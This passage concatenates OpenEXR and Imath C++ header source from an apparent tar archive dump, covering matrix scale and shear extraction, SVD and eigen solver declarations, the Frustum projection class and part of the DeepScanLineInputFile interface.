extractAndRemoveScalingAndShear (M, scl, shr, exc)) return mat; return M; } template <class T> bool removeScalingAndShear (Matrix33<T> &mat, bool exc) { Vec2<T> scl; T shr; if (! extractAndRemoveScalingAndShear (mat, scl, shr, exc)) return false; return true; } template <class T> bool extractAndRemoveScalingAndShear (Matrix33<T> &mat, Vec2<T> &scl, T &shr, bool exc) { Vec2<T> row[2]; row[0] = Vec2<T> (mat[0][0], mat[0][1]); row[1] = Vec2<T> (mat[1][0], mat[1][1]); T maxVal = 0; for (int i=0; i < 2; i++) for (int j=0; j < 2; j++) if (IMATH_INTERNAL_NAMESPACE::abs (row[i][j]) > maxVal) maxVal = IMATH_INTERNAL_NAMESPACE::abs (row[i][j]); // // We normalize the 2x2 matrix here. // It was noticed that this can improve numerical stability significantly, // especially when many of the upper 2x2 matrix's coefficients are very // close to zero; we correct for this step at the end by multiplying the // scaling factors by maxVal at the end (shear and rotation are not // affected by the normalization). if (maxVal != 0) { for (int i=0; i < 2; i++) if (! checkForZeroScaleInRow (maxVal, row[i], exc)) return false; else row[i] /= maxVal; } // Compute X scale factor. scl.x = row[0].length (); if (! checkForZeroScaleInRow (scl.x, row[0], exc)) return false; // Normalize first row. row[0] /= scl.x; // An XY shear factor will shear the X coord. as the Y coord. changes. // There are 2 combinations (XY, YX), although we only extract the XY // shear factor because we can effect the an YX shear factor by // shearing in XY combined with rotations and scales. // // shear matrix < 1, YX, 0, // XY, 1, 0, // 0, 0, 1 > // Compute XY shear factor and make 2nd row orthogonal to 1st. shr = row[0].dot (row[1]); row[1] -= shr * row[0]; // Now, compute Y scale. scl.y = row[1].length (); if (! checkForZeroScaleInRow (scl.y, row[1], exc)) return false; // Normalize 2nd row and correct the XY shear factor for Y scaling. row[1] /= scl.y; shr /= scl.y; // At this point, the upper 2x2 matrix in mat is orthonormal. // Check for a coordinate system flip. If the determinant // is -1, then flip the rotation matrix and adjust the scale(Y) // and shear(XY) factors to compensate. if (row[0][0] * row[1][1] - row[0][1] * row[1][0] < 0) { row[1][0] *= -1; row[1][1] *= -1; scl[1] *= -1; shr *= -1; } // Copy over the orthonormal rows into the returned matrix. // The upper 2x2 matrix in mat is now a rotation matrix. for (int i=0; i < 2; i++) { mat[i][0] = row[i][0]; mat[i][1] = row[i][1]; } scl *= maxVal; return true; } template <class T> void extractEuler (const Matrix33<T> &mat, T &rot) { // // Normalize the local x and y axes to remove scaling. // Vec2<T> i (mat[0][0], mat[0][1]); Vec2<T> j (mat[1][0], mat[1][1]); i.normalize(); j.normalize(); // // Extract the angle, rot. // rot = - Math<T>::atan2 (j[0], i[0]); } template <class T> bool extractSHRT (const Matrix33<T> &mat, Vec2<T> &s, T &h, T &r, Vec2<T> &t, bool exc) { Matrix33<T> rot; rot = mat; if (! extractAndRemoveScalingAndShear (rot, s, h, exc)) return false; extractEuler (rot, r); t.x = mat[2][0]; t.y = mat[2][1]; return true; } template <class T> bool checkForZeroScaleInRow (const T& scl, const Vec2<T> &row, bool exc /* = true */ ) { for (int i = 0; i < 2; i++) { if ((abs (scl) < 1 && abs (row[i]) >= limits<T>::max() * abs (scl))) { if (exc) throw IMATH_INTERNAL_NAMESPACE::ZeroScaleExc ( "Cannot remove zero scaling from matrix."); else return false; } } return true; } template <class T> Matrix33<T> outerProduct (const Vec3<T> &a, const Vec3<T> &b ) { return Matrix33<T> (a.x*b.x, a.x*b.y, a.x*b.z, a.y*b.x, a.y*b.y, a.y*b.z, a.z*b.x, a.z*b.y, a.z*b.z ); } // Computes the translation and rotation that brings the 'from' points // as close as possible to the 'to' points under the Frobenius norm. // To be more specific, let x be the matrix of 'from' points and y be // the matrix of 'to' points, we want to find the matrix A of the form // [ R t ] // [ 0 1 ] // that minimizes // || (A*x - y)^T * W * (A*x - y) ||_F // If doScaling is true, then a uniform scale is allowed also. template <typename T> IMATH_INTERNAL_NAMESPACE::M44d procrustesRotationAndTranslation (const IMATH_INTERNAL_NAMESPACE::Vec3<T>* A, // From these const IMATH_INTERNAL_NAMESPACE::Vec3<T>* B, // To these const T* weights, const size_t numPoints, const bool doScaling = false); // Unweighted: template <typename T> IMATH_INTERNAL_NAMESPACE::M44d procrustesRotationAndTranslation (const IMATH_INTERNAL_NAMESPACE::Vec3<T>* A, const IMATH_INTERNAL_NAMESPACE::Vec3<T>* B, const size_t numPoints, const bool doScaling = false); // Compute the SVD of a 3x3 matrix using Jacobi transformations. This method // should be quite accurate (competitive with LAPACK) even for poorly // conditioned matrices, and because it has been written specifically for the // 3x3/4x4 case it is much faster than calling out to LAPACK. // // The SVD of a 3x3/4x4 matrix A is defined as follows: // A = U * S * V^T // where S is the diagonal matrix of singular values and both U and V are // orthonormal. By convention, the entries S are all positive and sorted from // the largest to the smallest. However, some uses of this function may // require that the matrix U*V^T have positive determinant; in this case, we // may make the smallest singular value negative to ensure that this is // satisfied. // // Currently only available for single- and double-precision matrices. template <typename T> void jacobiSVD (const IMATH_INTERNAL_NAMESPACE::Matrix33<T>& A, IMATH_INTERNAL_NAMESPACE::Matrix33<T>& U, IMATH_INTERNAL_NAMESPACE::Vec3<T>& S, IMATH_INTERNAL_NAMESPACE::Matrix33<T>& V, const T tol = IMATH_INTERNAL_NAMESPACE::limits<T>::epsilon(), const bool forcePositiveDeterminant = false); template <typename T> void jacobiSVD (const IMATH_INTERNAL_NAMESPACE::Matrix44<T>& A, IMATH_INTERNAL_NAMESPACE::Matrix44<T>& U, IMATH_INTERNAL_NAMESPACE::Vec4<T>& S, IMATH_INTERNAL_NAMESPACE::Matrix44<T>& V, const T tol = IMATH_INTERNAL_NAMESPACE::limits<T>::epsilon(), const bool forcePositiveDeterminant = false); // Compute the eigenvalues (S) and the eigenvectors (V) of // a real symmetric matrix using Jacobi transformation. // // Jacobi transformation of a 3x3/4x4 matrix A outputs S and V: // A = V * S * V^T // where V is orthonormal and S is the diagonal matrix of eigenvalues. // Input matrix A must be symmetric. A is also modified during // the computation so that upper diagonal entries of A become zero. // template <typename T> void jacobiEigenSolver (Matrix33<T>& A, Vec3<T>& S, Matrix33<T>& V, const T tol); template <typename T> inline void jacobiEigenSolver (Matrix33<T>& A, Vec3<T>& S, Matrix33<T>& V) { jacobiEigenSolver(A,S,V,limits<T>::epsilon()); } template <typename T> void jacobiEigenSolver (Matrix44<T>& A, Vec4<T>& S, Matrix44<T>& V, const T tol); template <typename T> inline void jacobiEigenSolver (Matrix44<T>& A, Vec4<T>& S, Matrix44<T>& V) { jacobiEigenSolver(A,S,V,limits<T>::epsilon()); } // Compute a eigenvector corresponding to the abs max/min eigenvalue // of a real symmetric matrix using Jacobi transformation. template <typename TM, typename TV> void maxEigenVector (TM& A, TV& S); template <typename TM, typename TV> void minEigenVector (TM& A, TV& S); IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHMATRIXALGO_H OpenEXR/ImathFrustum.h 0000644 00000054407 15246445047 0010652 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHFRUSTUM_H #define INCLUDED_IMATHFRUSTUM_H #include "ImathVec.h" #include "ImathPlane.h" #include "ImathLine.h" #include "ImathMatrix.h" #include "ImathLimits.h" #include "ImathFun.h" #include "ImathNamespace.h" #include "IexMathExc.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER // // template class Frustum<T> // // The frustum is always located with the eye point at the // origin facing down -Z. This makes the Frustum class // compatable with OpenGL (or anything that assumes a camera // looks down -Z, hence with a right-handed coordinate system) // but not with RenderMan which assumes the camera looks down // +Z. Additional functions are provided for conversion from // and from various camera coordinate spaces. // // nearPlane/farPlane: near/far are keywords used by Microsoft's // compiler, so we use nearPlane/farPlane instead to avoid // issues. template<class T> class Frustum { public: Frustum(); Frustum(const Frustum &); Frustum(T nearPlane, T farPlane, T left, T right, T top, T bottom, bool ortho=false); Frustum(T nearPlane, T farPlane, T fovx, T fovy, T aspect); virtual ~Frustum(); //-------------------- // Assignment operator //-------------------- const Frustum & operator = (const Frustum &); //-------------------- // Operators: ==, != //-------------------- bool operator == (const Frustum<T> &src) const; bool operator != (const Frustum<T> &src) const; //-------------------------------------------------------- // Set functions change the entire state of the Frustum //-------------------------------------------------------- void set(T nearPlane, T farPlane, T left, T right, T top, T bottom, bool ortho=false); void set(T nearPlane, T farPlane, T fovx, T fovy, T aspect); //------------------------------------------------------ // These functions modify an already valid frustum state //------------------------------------------------------ void modifyNearAndFar(T nearPlane, T farPlane); void setOrthographic(bool); //-------------- // Access //-------------- bool orthographic() const { return _orthographic; } T nearPlane() const { return _nearPlane; } T hither() const { return _nearPlane; } T farPlane() const { return _farPlane; } T yon() const { return _farPlane; } T left() const { return _left; } T right() const { return _right; } T bottom() const { return _bottom; } T top() const { return _top; } //----------------------------------------------------------------------- // Sets the planes in p to be the six bounding planes of the frustum, in // the following order: top, right, bottom, left, near, far. // Note that the planes have normals that point out of the frustum. // The version of this routine that takes a matrix applies that matrix // to transform the frustum before setting the planes. //----------------------------------------------------------------------- void planes(Plane3<T> p[6]) const; void planes(Plane3<T> p[6], const Matrix44<T> &M) const; //---------------------- // Derived Quantities //---------------------- T fovx() const; T fovy() const; T aspect() const; Matrix44<T> projectionMatrix() const; bool degenerate() const; //----------------------------------------------------------------------- // Takes a rectangle in the screen space (i.e., -1 <= left <= right <= 1 // and -1 <= bottom <= top <= 1) of this Frustum, and returns a new // Frustum whose near clipping-plane window is that rectangle in local // space. //----------------------------------------------------------------------- Frustum<T> window(T left, T right, T top, T bottom) const; //---------------------------------------------------------- // Projection is in screen space / Conversion from Z-Buffer //---------------------------------------------------------- Line3<T> projectScreenToRay( const Vec2<T> & ) const; Vec2<T> projectPointToScreen( const Vec3<T> & ) const; T ZToDepth(long zval, long min, long max) const; T normalizedZToDepth(T zval) const; long DepthToZ(T depth, long zmin, long zmax) const; T worldRadius(const Vec3<T> &p, T radius) const; T screenRadius(const Vec3<T> &p, T radius) const; protected: Vec2<T> screenToLocal( const Vec2<T> & ) const; Vec2<T> localToScreen( const Vec2<T> & ) const; protected: T _nearPlane; T _farPlane; T _left; T _right; T _top; T _bottom; bool _orthographic; }; template<class T> inline Frustum<T>::Frustum() { set(T (0.1), T (1000.0), T (-1.0), T (1.0), T (1.0), T (-1.0), false); } template<class T> inline Frustum<T>::Frustum(const Frustum &f) { *this = f; } template<class T> inline Frustum<T>::Frustum(T n, T f, T l, T r, T t, T b, bool o) { set(n,f,l,r,t,b,o); } template<class T> inline Frustum<T>::Frustum(T nearPlane, T farPlane, T fovx, T fovy, T aspect) { set(nearPlane,farPlane,fovx,fovy,aspect); } template<class T> Frustum<T>::~Frustum() { } template<class T> const Frustum<T> & Frustum<T>::operator = (const Frustum &f) { _nearPlane = f._nearPlane; _farPlane = f._farPlane; _left = f._left; _right = f._right; _top = f._top; _bottom = f._bottom; _orthographic = f._orthographic; return *this; } template <class T> bool Frustum<T>::operator == (const Frustum<T> &src) const { return _nearPlane == src._nearPlane && _farPlane == src._farPlane && _left == src._left && _right == src._right && _top == src._top && _bottom == src._bottom && _orthographic == src._orthographic; } template <class T> inline bool Frustum<T>::operator != (const Frustum<T> &src) const { return !operator== (src); } template<class T> void Frustum<T>::set(T n, T f, T l, T r, T t, T b, bool o) { _nearPlane = n; _farPlane = f; _left = l; _right = r; _bottom = b; _top = t; _orthographic = o; } template<class T> void Frustum<T>::modifyNearAndFar(T n, T f) { if ( _orthographic ) { _nearPlane = n; } else { Line3<T> lowerLeft( Vec3<T>(0,0,0), Vec3<T>(_left,_bottom,-_nearPlane) ); Line3<T> upperRight( Vec3<T>(0,0,0), Vec3<T>(_right,_top,-_nearPlane) ); Plane3<T> nearPlane( Vec3<T>(0,0,-1), n ); Vec3<T> ll,ur; nearPlane.intersect(lowerLeft,ll); nearPlane.intersect(upperRight,ur); _left = ll.x; _right = ur.x; _top = ur.y; _bottom = ll.y; _nearPlane = n; _farPlane = f; } _farPlane = f; } template<class T> void Frustum<T>::setOrthographic(bool ortho) { _orthographic = ortho; } template<class T> void Frustum<T>::set(T nearPlane, T farPlane, T fovx, T fovy, T aspect) { if (fovx != 0 && fovy != 0) throw IEX_NAMESPACE::ArgExc ("fovx and fovy cannot both be non-zero."); const T two = static_cast<T>(2); if (fovx != 0) { _right = nearPlane * Math<T>::tan(fovx / two); _left = -_right; _top = ((_right - _left) / aspect) / two; _bottom = -_top; } else { _top = nearPlane * Math<T>::tan(fovy / two); _bottom = -_top; _right = (_top - _bottom) * aspect / two; _left = -_right; } _nearPlane = nearPlane; _farPlane = farPlane; _orthographic = false; } template<class T> T Frustum<T>::fovx() const { return Math<T>::atan2(_right,_nearPlane) - Math<T>::atan2(_left,_nearPlane); } template<class T> T Frustum<T>::fovy() const { return Math<T>::atan2(_top,_nearPlane) - Math<T>::atan2(_bottom,_nearPlane); } template<class T> T Frustum<T>::aspect() const { T rightMinusLeft = _right-_left; T topMinusBottom = _top-_bottom; if (abs(topMinusBottom) < 1 && abs(rightMinusLeft) > limits<T>::max() * abs(topMinusBottom)) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "aspect ratio cannot be computed."); } return rightMinusLeft / topMinusBottom; } template<class T> Matrix44<T> Frustum<T>::projectionMatrix() const { T rightPlusLeft = _right+_left; T rightMinusLeft = _right-_left; T topPlusBottom = _top+_bottom; T topMinusBottom = _top-_bottom; T farPlusNear = _farPlane+_nearPlane; T farMinusNear = _farPlane-_nearPlane; if ((abs(rightMinusLeft) < 1 && abs(rightPlusLeft) > limits<T>::max() * abs(rightMinusLeft)) || (abs(topMinusBottom) < 1 && abs(topPlusBottom) > limits<T>::max() * abs(topMinusBottom)) || (abs(farMinusNear) < 1 && abs(farPlusNear) > limits<T>::max() * abs(farMinusNear))) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "projection matrix cannot be computed."); } if ( _orthographic ) { T tx = -rightPlusLeft / rightMinusLeft; T ty = -topPlusBottom / topMinusBottom; T tz = -farPlusNear / farMinusNear; if ((abs(rightMinusLeft) < 1 && 2 > limits<T>::max() * abs(rightMinusLeft)) || (abs(topMinusBottom) < 1 && 2 > limits<T>::max() * abs(topMinusBottom)) || (abs(farMinusNear) < 1 && 2 > limits<T>::max() * abs(farMinusNear))) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "projection matrix cannot be computed."); } T A = 2 / rightMinusLeft; T B = 2 / topMinusBottom; T C = -2 / farMinusNear; return Matrix44<T>( A, 0, 0, 0, 0, B, 0, 0, 0, 0, C, 0, tx, ty, tz, 1.f ); } else { T A = rightPlusLeft / rightMinusLeft; T B = topPlusBottom / topMinusBottom; T C = -farPlusNear / farMinusNear; T farTimesNear = -2 * _farPlane * _nearPlane; if (abs(farMinusNear) < 1 && abs(farTimesNear) > limits<T>::max() * abs(farMinusNear)) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "projection matrix cannot be computed."); } T D = farTimesNear / farMinusNear; T twoTimesNear = 2 * _nearPlane; if ((abs(rightMinusLeft) < 1 && abs(twoTimesNear) > limits<T>::max() * abs(rightMinusLeft)) || (abs(topMinusBottom) < 1 && abs(twoTimesNear) > limits<T>::max() * abs(topMinusBottom))) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "projection matrix cannot be computed."); } T E = twoTimesNear / rightMinusLeft; T F = twoTimesNear / topMinusBottom; return Matrix44<T>( E, 0, 0, 0, 0, F, 0, 0, A, B, C, -1, 0, 0, D, 0 ); } } template<class T> bool Frustum<T>::degenerate() const { return (_nearPlane == _farPlane) || (_left == _right) || (_top == _bottom); } template<class T> Frustum<T> Frustum<T>::window(T l, T r, T t, T b) const { // move it to 0->1 space Vec2<T> bl = screenToLocal( Vec2<T>(l,b) ); Vec2<T> tr = screenToLocal( Vec2<T>(r,t) ); return Frustum<T>(_nearPlane, _farPlane, bl.x, tr.x, tr.y, bl.y, _orthographic); } template<class T> Vec2<T> Frustum<T>::screenToLocal(const Vec2<T> &s) const { return Vec2<T>( _left + (_right-_left) * (1.f+s.x) / 2.f, _bottom + (_top-_bottom) * (1.f+s.y) / 2.f ); } template<class T> Vec2<T> Frustum<T>::localToScreen(const Vec2<T> &p) const { T leftPlusRight = _left - T (2) * p.x + _right; T leftMinusRight = _left-_right; T bottomPlusTop = _bottom - T (2) * p.y + _top; T bottomMinusTop = _bottom-_top; if ((abs(leftMinusRight) < T (1) && abs(leftPlusRight) > limits<T>::max() * abs(leftMinusRight)) || (abs(bottomMinusTop) < T (1) && abs(bottomPlusTop) > limits<T>::max() * abs(bottomMinusTop))) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: " "local-to-screen transformation cannot be computed"); } return Vec2<T>( leftPlusRight / leftMinusRight, bottomPlusTop / bottomMinusTop ); } template<class T> Line3<T> Frustum<T>::projectScreenToRay(const Vec2<T> &p) const { Vec2<T> point = screenToLocal(p); if (orthographic()) return Line3<T>( Vec3<T>(point.x,point.y, 0.0), Vec3<T>(point.x,point.y,-1.0)); else return Line3<T>( Vec3<T>(0, 0, 0), Vec3<T>(point.x,point.y,-_nearPlane)); } template<class T> Vec2<T> Frustum<T>::projectPointToScreen(const Vec3<T> &point) const { if (orthographic() || point.z == T (0)) return localToScreen( Vec2<T>( point.x, point.y ) ); else return localToScreen( Vec2<T>( point.x * _nearPlane / -point.z, point.y * _nearPlane / -point.z ) ); } template<class T> T Frustum<T>::ZToDepth(long zval,long zmin,long zmax) const { int zdiff = zmax - zmin; if (zdiff == 0) { throw IEX_NAMESPACE::DivzeroExc ("Bad call to Frustum::ZToDepth: zmax == zmin"); } if ( zval > zmax+1 ) zval -= zdiff; T fzval = (T(zval) - T(zmin)) / T(zdiff); return normalizedZToDepth(fzval); } template<class T> T Frustum<T>::normalizedZToDepth(T zval) const { T Zp = zval * 2.0 - 1; if ( _orthographic ) { return -(Zp*(_farPlane-_nearPlane) + (_farPlane+_nearPlane))/2; } else { T farTimesNear = 2 * _farPlane * _nearPlane; T farMinusNear = Zp * (_farPlane - _nearPlane) - _farPlane - _nearPlane; if (abs(farMinusNear) < 1 && abs(farTimesNear) > limits<T>::max() * abs(farMinusNear)) { throw IEX_NAMESPACE::DivzeroExc ("Frustum::normalizedZToDepth cannot be computed. The " "near and far clipping planes of the viewing frustum " "may be too close to each other"); } return farTimesNear / farMinusNear; } } template<class T> long Frustum<T>::DepthToZ(T depth,long zmin,long zmax) const { long zdiff = zmax - zmin; T farMinusNear = _farPlane-_nearPlane; if ( _orthographic ) { T farPlusNear = 2*depth + _farPlane + _nearPlane; if (abs(farMinusNear) < 1 && abs(farPlusNear) > limits<T>::max() * abs(farMinusNear)) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: near and far clipping planes " "are too close to each other"); } T Zp = -farPlusNear/farMinusNear; return long(0.5*(Zp+1)*zdiff) + zmin; } else { // Perspective T farTimesNear = 2*_farPlane*_nearPlane; if (abs(depth) < 1 && abs(farTimesNear) > limits<T>::max() * abs(depth)) { throw IEX_NAMESPACE::DivzeroExc ("Bad call to DepthToZ function: value of `depth' " "is too small"); } T farPlusNear = farTimesNear/depth + _farPlane + _nearPlane; if (abs(farMinusNear) < 1 && abs(farPlusNear) > limits<T>::max() * abs(farMinusNear)) { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: near and far clipping planes " "are too close to each other"); } T Zp = farPlusNear/farMinusNear; return long(0.5*(Zp+1)*zdiff) + zmin; } } template<class T> T Frustum<T>::screenRadius(const Vec3<T> &p, T radius) const { // Derivation: // Consider X-Z plane. // X coord of projection of p = xp = p.x * (-_nearPlane / p.z) // Let q be p + (radius, 0, 0). // X coord of projection of q = xq = (p.x - radius) * (-_nearPlane / p.z) // X coord of projection of segment from p to q = r = xp - xq // = radius * (-_nearPlane / p.z) // A similar analysis holds in the Y-Z plane. // So r is the quantity we want to return. if (abs(p.z) > 1 || abs(-_nearPlane) < limits<T>::max() * abs(p.z)) { return radius * (-_nearPlane / p.z); } else { throw IEX_NAMESPACE::DivzeroExc ("Bad call to Frustum::screenRadius: the magnitude of `p' " "is too small"); } return radius * (-_nearPlane / p.z); } template<class T> T Frustum<T>::worldRadius(const Vec3<T> &p, T radius) const { if (abs(-_nearPlane) > 1 || abs(p.z) < limits<T>::max() * abs(-_nearPlane)) { return radius * (p.z / -_nearPlane); } else { throw IEX_NAMESPACE::DivzeroExc ("Bad viewing frustum: the near clipping plane is too " "close to zero"); } } template<class T> void Frustum<T>::planes(Plane3<T> p[6]) const { // // Plane order: Top, Right, Bottom, Left, Near, Far. // Normals point outwards. // if (! _orthographic) { Vec3<T> a( _left, _bottom, -_nearPlane); Vec3<T> b( _left, _top, -_nearPlane); Vec3<T> c( _right, _top, -_nearPlane); Vec3<T> d( _right, _bottom, -_nearPlane); Vec3<T> o(0,0,0); p[0].set( o, c, b ); p[1].set( o, d, c ); p[2].set( o, a, d ); p[3].set( o, b, a ); } else { p[0].set( Vec3<T>( 0, 1, 0), _top ); p[1].set( Vec3<T>( 1, 0, 0), _right ); p[2].set( Vec3<T>( 0,-1, 0),-_bottom ); p[3].set( Vec3<T>(-1, 0, 0),-_left ); } p[4].set( Vec3<T>(0, 0, 1), -_nearPlane ); p[5].set( Vec3<T>(0, 0,-1), _farPlane ); } template<class T> void Frustum<T>::planes(Plane3<T> p[6], const Matrix44<T> &M) const { // // Plane order: Top, Right, Bottom, Left, Near, Far. // Normals point outwards. // Vec3<T> a = Vec3<T>( _left, _bottom, -_nearPlane) * M; Vec3<T> b = Vec3<T>( _left, _top, -_nearPlane) * M; Vec3<T> c = Vec3<T>( _right, _top, -_nearPlane) * M; Vec3<T> d = Vec3<T>( _right, _bottom, -_nearPlane) * M; if (! _orthographic) { double s = _farPlane / double(_nearPlane); T farLeft = (T) (s * _left); T farRight = (T) (s * _right); T farTop = (T) (s * _top); T farBottom = (T) (s * _bottom); Vec3<T> e = Vec3<T>( farLeft, farBottom, -_farPlane) * M; Vec3<T> f = Vec3<T>( farLeft, farTop, -_farPlane) * M; Vec3<T> g = Vec3<T>( farRight, farTop, -_farPlane) * M; Vec3<T> o = Vec3<T>(0,0,0) * M; p[0].set( o, c, b ); p[1].set( o, d, c ); p[2].set( o, a, d ); p[3].set( o, b, a ); p[4].set( a, d, c ); p[5].set( e, f, g ); } else { Vec3<T> e = Vec3<T>( _left, _bottom, -_farPlane) * M; Vec3<T> f = Vec3<T>( _left, _top, -_farPlane) * M; Vec3<T> g = Vec3<T>( _right, _top, -_farPlane) * M; Vec3<T> h = Vec3<T>( _right, _bottom, -_farPlane) * M; p[0].set( c, g, f ); p[1].set( d, h, g ); p[2].set( a, e, h ); p[3].set( b, f, e ); p[4].set( a, d, c ); p[5].set( e, f, g ); } } typedef Frustum<float> Frustumf; typedef Frustum<double> Frustumd; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #if defined _WIN32 || defined _WIN64 #ifdef _redef_near #define near #endif #ifdef _redef_far #define far #endif #endif #endif // INCLUDED_IMATHFRUSTUM_H OpenEXR/ImfDeepScanLineInputFile.h 0000644 00000026006 15246445047 0012762 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEP_SCAN_LINE_INPUT_FILE_H #define INCLUDED_IMF_DEEP_SCAN_LINE_INPUT_FILE_H //----------------------------------------------------------------------------- // // class DeepScanLineInputFile // //----------------------------------------------------------------------------- #include "ImfThreading.h" #include "ImfGenericInputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" #include "ImfDeepScanLineOutputFile.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepScanLineInputFile : public GenericInputFile { public: //------------ // Constructor //------------ DeepScanLineInputFile (const char fileName[], int numThreads = globalThreadCount()); DeepScanLineInputFile (const Header &header, OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is, int version, /*version field from file*/ int numThreads = globalThreadCount()); //----------------------------------------- // Destructor -- deallocates internal data // structures, but does not close the file. //----------------------------------------- virtual ~DeepScanLineInputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the InputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readPixels() is called. // The current frame buffer can be changed after each call // to readPixels(). //----------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //--------------------------------------------------------------- // Check if the file is complete: // // isComplete() returns true if all pixels in the data window are // present in the input file, or false if any pixels are missing. // (Another program may still be busy writing the file, or file // writing may have been aborted prematurely.) //--------------------------------------------------------------- bool isComplete () const; //--------------------------------------------------------------- // Read pixel data: // // readPixels(s1,s2) reads all scan lines with y coordinates // in the interval [min (s1, s2), max (s1, s2)] from the file, // and stores them in the current frame buffer. // // Both s1 and s2 must be within the interval // [header().dataWindow().min.y, header.dataWindow().max.y] // // The scan lines can be read from the file in random order, and // individual scan lines may be skipped or read multiple times. // For maximum efficiency, the scan lines should be read in the // order in which they were written to the file. // // readPixels(s) calls readPixels(s,s). // // If threading is enabled, readPixels (s1, s2) tries to perform // decopmression of multiple scanlines in parallel. // //--------------------------------------------------------------- void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); //--------------------------------------------------------------- // Extract pixel data from pre-read block // // readPixels(rawPixelData,frameBuffer,s1,s2) reads all scan lines with y coordinates // in the interval [min (s1, s2), max (s1, s2)] from the data provided and // stores them in the provided frameBuffer. // the data can be obtained from a call to rawPixelData() // // // Both s1 and s2 must be within the data specified // // you must provide a frameBuffer with a samplecountslice, which must have been read // and the data valid - readPixels uses your sample count buffer to compute // offsets to the data it needs // // This call does not block, and is thread safe for clients with an existing // threading model. The InputFile's frameBuffer is not used in this call. // // This call is only provided for clients which have an existing threading model in place // and unpredictable access patterns to the data. // The fastest way to read an entire image is to enable threading,use setFrameBuffer then // readPixels(header().dataWindow().min.y, header.dataWindow().max.y) // //--------------------------------------------------------------- void readPixels (const char * rawPixelData, const DeepFrameBuffer & frameBuffer, int scanLine1, int scanLine2) const; //---------------------------------------------- // Read a block of raw pixel data from the file, // without uncompressing it (this function is // used to implement OutputFile::copyPixels()). // note: returns the entire payload of the relevant chunk of data, not including part number // including compressed and uncompressed sizes // on entry, if pixelDataSize is insufficiently large, no bytes are read (pixelData can safely be NULL) // on exit, pixelDataSize is 